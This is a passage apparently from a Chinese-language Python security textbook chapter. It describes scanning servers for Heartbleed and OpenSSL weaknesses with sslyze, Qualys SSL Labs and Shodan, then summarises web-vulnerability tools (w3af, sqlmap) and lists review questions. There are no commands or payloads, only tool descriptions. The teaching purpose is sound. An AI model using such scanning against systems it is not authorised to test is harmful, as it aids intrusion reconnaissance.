https://github.com/nabla-c0d3/sslyze

此外,还需要安装一些依赖项,例如 pypi 存储库中也提供的nassl

https://pypi.org/project/nassl/

https://github.com/nabla-c0d3/nassl

以下是脚本提供的选项:

它提供的选项之一是 HeartbleedPlugin,用于检测此漏洞:

此外,它还提供了另一个插件,用于检测服务器正在使用的 OpenSSL 密码套件:

如果我们尝试在特定 IP 地址上执行脚本,它将返回一个包含结果的报告:

此分析的执行结果可在 GitHub 存储库中的sslyze_72.249.130.4.txt共享文件中获得。

其他服务

有几种在线服务允许您确定服务器是否受此漏洞的影响,以及其他用于测试服务器和域中的 ssl 版本和证书的服务,如 SSLLAB fror qualys

在这些链接中,我们可以使用一些服务来进行此类测试:

qualys 在线服务以报告的形式返回结果,我们在报告中看到服务器使用的 openssl 版本可能存在的问题:

我们还可以详细查看 SSL/TLS 版本和有关可能漏洞的信息:

使用 Shodan 服务,您可以看到与服务器和 SSL 证书中检测到的 CVE 漏洞相关的更多信息。

在此屏幕截图中,我们可以看到与服务器配置问题相关的其他 CVE:

总结

web 应用中的漏洞分析是目前执行安全审计的最佳领域。本章的目标之一是了解 python 生态系统中的工具,这些工具允许我们识别 web 应用中的服务器漏洞,如 w3af 和 sqlmap。在 sql 注入部分,我们介绍了 sql 注入以及使用 sqlmap 和 xssscrapy 检测此类漏洞的工具。此外,我们还研究了如何检测服务器中与 OpenSSL 相关的漏洞。

在下一章中,我们将探讨用于提取地理位置 IP 地址信息、从图像和文档中提取元数据以及识别站点前后使用的 web 技术的编程包和 python 模块。

问题

  1. 以下哪种攻击会将恶意脚本注入网页,从而将用户重定向到虚假网站或收集个人信息?

  2. 攻击者将 SQL 数据库命令插入基于 web 的应用使用的订单的数据输入字段的技术是什么?

  3. 哪些工具允许您检测与 JavaScript 相关的 web 应用中的漏洞?

  4. 什么工具允许您从网站获取数据结构?

  5. 什么工具允许您检测 web 应用中的 sql 注入型漏洞?

  6. w3af 工具中的哪个配置文件执行扫描以识别风险较高的漏洞,例如 SQL 注入和跨站点脚本(XSS)?

  7. W3AFAPI 中的主要类是哪个,它包含启用插件、确定攻击目标和管理配置文件所需的所有方法和属性?

  8. 列出所有可用数据库的 slmap 选项是什么?

  9. 允许我们扫描服务器中的 Heartbleed 漏洞的 nmap 脚本的名称是什么?

  10. 什么是允许我们与服务器建立 SSL 连接的过程,包括交换对称和非对称密钥以在客户端和服务器之间建立加密连接?

进一步阅读

在以下链接中,您将找到有关本章中提到的工具的更多信息: